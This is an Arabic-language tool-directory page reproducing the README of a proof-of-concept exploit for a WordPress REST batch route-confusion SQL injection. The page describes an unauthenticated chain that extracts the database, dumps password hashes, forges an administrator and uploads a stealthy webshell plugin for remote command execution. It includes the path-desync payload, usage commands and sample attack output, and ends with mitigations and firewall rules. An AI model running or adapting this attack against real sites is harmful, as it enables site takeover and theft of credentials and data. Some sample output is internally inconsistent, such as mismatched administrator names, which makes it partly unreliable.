Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/ch4120n/cve-2026-63030
ماسحات الثغرات الأمنيةالاستغلالأمن الويباختبار الاختراقالتعلم والتعليم
GitHubch4120n/cve-2026-63030

CVE-2026-63030

CVE-2026-63030 - إثبات المفهوم لثغرة حقن SQL عبر الارتباك في المسارات في طلبات REST المجمّعة لووردبريس

عرض المستودع
2منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-63030

إثبات المفهوم لثغرة حقن SQL عبر خلط المسارات في REST API الخاصة بـ WordPress (CVE-2026-63030)
البحث وتطوير الاستغلال والتوثيق بواسطة Ch4120N

CVE Python License Status


⚠️ إخلاء المسؤولية القانوني

هذا المستودع والأداة المرافقة له (exploit.py) مخصصان حصريًا للأغراض التعليمية، واختبار الاختراق المصرّح به، والبحث الأمني.
يُعد استخدام هذا الاستغلال ضد أي أهداف دون موافقة صريحة ومسبقة ومكتوبة أمرًا غير قانوني وينتهك قوانين مكافحة جرائم الكمبيوتر وإساءة الاستخدام عالميًا. لا يتحمل المؤلف (Ch4120N) أي مسؤولية إطلاقًا عن أي إساءة استخدام أو ضرر أو عواقب قانونية تنشأ عن استخدام هذا الكود. اعمل دائمًا في حدود القانون واحصل على التصريح المناسب.


📖 نظرة عامة على الثغرة: CVE-2026-63030

CVE-2026-63030 هي ثغرة أمنية حرجة وغير مصادَق عليها تؤثر على REST API في WordPress. تستغل خطأ خلط المسارات داخل نقطة نهاية المعالجة المجمّعة المتداخلة (/wp-json/batch/v1 أو /?rest_route=/batch/v1).

السبب الجذري

عندما يعالج WordPress مجموعة من طلبات REST API، فإنه يتحقق من صحة كل طلب فرعي مقابل المخطط (schema) الخاص به قبل التنفيذ. ومع ذلك، وبسبب خلل في كيفية تعامل مؤشر التوجيه الداخلي مع المسارات المشوّهة عمدًا (مثل ///)، يصبح مخطط التحقق غير متزامن مع معالج التنفيذ الفعلي.

سلسلة الهجوم

  1. خلط المسارات وحقن SQL: يقوم المهاجم بحقن حمولة دُفعات متداخلة. يؤدي عدم التزامن إلى تنفيذ طلب يستهدف نقطة نهاية /wp/v2/users (التي لا تقبل author_exclude) بواسطة معالج /wp/v2/posts. يتم تمرير المعامل author_exclude غير المنقّى مباشرةً إلى جملة author__not_in الخاصة بـ WP_Query، مما يؤدي إلى حقن SQL غير مصادق عليه.
  2. إنشاء مسؤول قبل المصادقة (Pre-Auth): يُستخدم حقن SQL لقراءة قاعدة البيانات وتحديد معرّفات مشاركات oembed_cache. ثم تستخدم الأداة حمولة changeset من مخصّص WordPress (Customizer) لتسميم ذاكرة التخزين المؤقت لقائمة التنقل، وخداع WordPress لتنفيذ طلب إنشاء مستخدم في سياق مسؤول موجود.
  3. تنفيذ التعليمات البرمجية عن بُعد (RCE): باستخدام حساب مسؤول مزيّف تم إنشاؤه حديثًا، تقوم الأداة بالمصادقة، ورفع إضافة PHP لغلاف خبيث عشوائية ومحمية بتوكن، وتنفيذ أوامر نظام التشغيل، وتنظيف جميع الآثار بشكل آمن.

الإصدارات المتأثرة

  • WordPress 6.9.0 حتى 6.9.4
  • WordPress 7.0.0 حتى 7.0.1 (ملاحظة: قد تكون الإصدارات الأقدم عرضة للخطر اعتمادًا على تكوينات الإضافات المحددة وترجيعات REST API).

🚀 الميزات

  • صفر تبعيات: مكتبة Python 3 القياسية 100%. لا حاجة إلى pip install.
  • ملف واحد معياري: جميع المكونات (العميل، حقن SQL، الاستغلال، الغلاف، واجهة الأوامر) منظمة بأناقة في سكربت واحد قابل للنقل (exploit.py).
  • استخراج SQL متعدد التقنيات: يتراجع تلقائيًا عبر أسرع الطرق المتاحة:
    1. قائم على UNION: استخراج داخل النطاق (in-band) عن طريق تزوير صف WP_Post وهمي (طلب واحد لكل قيمة).
    2. قائم على الأخطاء: يستغل أخطاء EXTRACTVALUE() الخاصة بـ XPATH إذا كان WP_DEBUG_DISPLAY مفعّلًا.
    3. أعمى منطقي/زمني (Blind Boolean/Timing): استخراج الأحرف عبر البحث الثنائي مع تأخيرات نوم قابلة للضبط.
  • جسر تلقائي قبل المصادقة: لا حاجة لبيانات اعتماد موجودة؛ تنشئ الأداة حساب المسؤول الخاص بها أثناء التنفيذ.
  • غلاف خبيث مؤقت: يولّد اسم إضافة فريدًا وتوكنًا آمنًا من الناحية التشفيرية. يرفض الغلاف التنفيذ بدون التوكن ويدمّر نفسه بعد الاستخدام.
  • تنظيف تلقائي: يحذف تلقائيًا حساب المسؤول المزوّر ويزيل دليل إضافة الغلاف الخبيث عند الخروج.
  • REPL تفاعلي: يوفر طرفية زائفة تحافظ على حالة دليل العمل البعيد (دعم cd).

📦 التثبيت والمتطلبات

لا توجد حزم خارجية مطلوبة. تأكد من تثبيت Python 3.8 أو أحدث.

root@kitploit:~
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030

# Make the script executable
chmod +x exploit.py

# Verify Python version
python3 --version
# Executing the script
python3 exploit.py

💻 الاستخدام التفصيلي والخيارات

تنقسم الأداة إلى ثلاثة أوامر فرعية رئيسية: check وread وshell.

خيارات عامة

تنطبق هذه الخيارات على جميع الأوامر الفرعية:

1. check - اكتشاف الثغرة

يفحص الهدف بأمان للتأكد من وجود مؤشرات خلط المسارات ويختبر توقيت حقن SQL دون استخراج أي بيانات.

2. read - استخراج قاعدة البيانات

يستخرج البيانات مباشرةً من قاعدة البيانات عبر ثغرة حقن SQL.

3. shell - تنفيذ التعليمات البرمجية عن بُعد

ينشر الغلاف الخبيث وينفذ الأوامر. إذا لم يتم توفير بيانات اعتماد، فإنه يشغّل تلقائيًا جسر إنشاء المسؤول قبل المصادقة.


🖥️ أدلة التنفيذ والأمثلة

فيما يلي أمثلة واقعية للأداة أثناء العمل.

مثال 1: التحقق من وجود الثغرة

root@kitploit:~
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli

[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.

مثال 2: استخراج بصمة قاعدة البيانات

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union

[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.

مثال 3: تفريغ بيانات اعتماد المستخدمين

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_

[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
    1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
    2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
    5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.

مثال 4: الحصول على غلاف تفاعلي (قبل المصادقة)

لاحظ كيف تقوم الأداة تلقائيًا بإنشاء حساب مسؤول، ونشر الغلاف، والتنظيف بعد الخروج.

root@kitploit:~
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
    Extracting table name...
    Finding source admin ID...
    Seeding oEmbed cache...
    Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php

[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.

🧠 الغوص التقني العميق

مقدمة عدم التزامن (Desync Primer)

يعتمد جوهر الاستغلال على حقن _DESYNC_PRIMER = {"method": "POST", "path": "///"}. يجبر عنوان URL غير الصالح هذا التوجيه الداخلي لـ WordPress على توليد WP_Error للطلب الفرعي الأول. يؤدي هذا إلى إزاحة المؤشر الداخلي، مما يجعل الطلب الفرعي الثاني يُتحقق منه مقابل مخطط واحد ولكن يُنفَّذ بواسطة معالج الطلب الفرعي الثالث. وهذا يهرّب المعامل author_exclude إلى WP_Query.

بدائية المنشور المزيّف عبر UNION

بدلًا من حقن SQL الأعمى البطيء، تستخدم الأداة UNION SELECT لحقن صف wp_posts وهمي مكتمل التكوين. ومن خلال تعيين orderby=none وper_page=500، تمنع WP_Query من تقسيم الاستعلام. يحتوي post_title المحقون على النتيجة المشفّرة بالنظام الست عشري (hex) لتعبير SQL المستهدف، ملفوفة بفواصل ||، وتنعكس مباشرةً في استجابة JSON الخاصة بـ REST API.

الأمن العملياتي للغلاف الخبيث (Webshell OpSec)

إضافة PHP المنشورة مصمّمة بتخفي عالٍ:

  • اسم دليل وملف عشوائي (مثل wp_a1b2c3d4.php).
  • تتطلب توكنًا سداسيًا عشريًا من 32 حرفًا (t) وأمرًا (c) عبر معاملات GET.
  • تستخدم hash_equals() لمنع هجمات التوقيت على التوكن.
  • تغيّر الدليل تلقائيًا (chdir) لمنع كشف المسار.
  • يُغلَّف المخرَج بفواصل EXPLOIT::...::END لتحليل نظيف من جانب عميل Python.

🛡️ التخفيف والمعالجة

  1. حدّث WordPress: قم بالترقية فورًا إلى WordPress 7.0.2 أو أحدث، والذي يتضمن التصحيح الخاص بـ CVE-2026-63030.
  2. عطّل نقطة نهاية الدُفعات: إذا لم تكن نقطة نهاية الدُفعات مطلوبة صراحةً، فعطّلها عبر إضافة استخدام إجباري (mu-plugins):
    root@kitploit:~
    add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
        if ( $request->get_route() === '/batch/v1' ) {
            return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
        }
        return $response;
    }, 10, 3 );
    
  3. جدار حماية تطبيقات الويب (WAF): نفّذ قواعد لحظر:
    • طلبات /batch/v1 المتداخلة التي تحتوي على author_exclude في URI.
    • الطلبات التي تحتوي على UNION أو SLEEP() أو EXTRACTVALUE في معاملات URL.
    • المسارات المشوّهة مثل /// في طلبات REST API.
  4. عطّل WP_DEBUG_DISPLAY: تأكد من ضبط WP_DEBUG_DISPLAY على false في لمنع تسريب حقن SQL القائم على الأخطاء.

📜 الاعتمادات والشكر

  • البحث في الثغرات وتطوير الاستغلال: Ch4120N
  • الإلهام الفكري: خلط مسارات REST API في WordPress، وتسميم ذاكرة التخزين المؤقت لـ oEmbed، وبدائيات Customizer changeset.

"القوة العظيمة تأتي مع مسؤولية عظيمة. استخدم هذه المعرفة للدفاع، لا للتدمير."
— Ch4120N

تنزيل الأداة
الخيارالوصفالافتراضي
urlعنوان URL الأساسي للهدف (مثل http://target.com)مطلوب
--rest-routeاستخدم /?rest_route=/batch/v1 بدلًا من /wp-json/batch/v1 (للمواقع التي لديها روابط ثابتة معطّلة).False
--timeoutمهلة طلب HTTP بالثواني.30.0
--proxyوكيل HTTP/HTTPS (مثل http://127.0.0.1:8080).None
الخيارالوصفالافتراضي
--sleepتأخير توقيت SQL (بالثواني) المستخدم في خطة --confirm-sqli الاحتياطية.3.0
--samplesعدد أزواج توقيت SQL الأساسية/المؤجلة لاختبارها.3
--confirm-sqliإرسال حمولة تأكيد نشطة لحقن SQL (يضيف تأخيرًا طفيفًا).False
الخيارالوصفالافتراضي
--presetقوالب استخراج سريعة: fingerprint (الإصدار/المستخدم/قاعدة البيانات) أو users (أسماء الدخول/التجزئات).fingerprint
--queryتنفيذ تعبير SQL قياسي مخصص (مثل "SELECT @@version").None
--prefixبادئة جدول قاعدة البيانات.wp_
--max-lengthالحد الأقصى للأحرف المستخرجة لكل قيمة.128
--techniqueتقنية الاستخراج: auto أو union أو error أو blind.auto
الخيارالوصفالافتراضي
--userاسم مستخدم المسؤول. (احذفه لاستخدام جسر ما قبل المصادقة).None
--passwordكلمة مرور المسؤول. (احذفها لاستخدام جسر ما قبل المصادقة).None
--cmdأمر واحد لتنفيذه على الهدف.None
-i, --interactiveفتح غلاف تفاعلي (REPL) بعد النشر.False
wp-config.php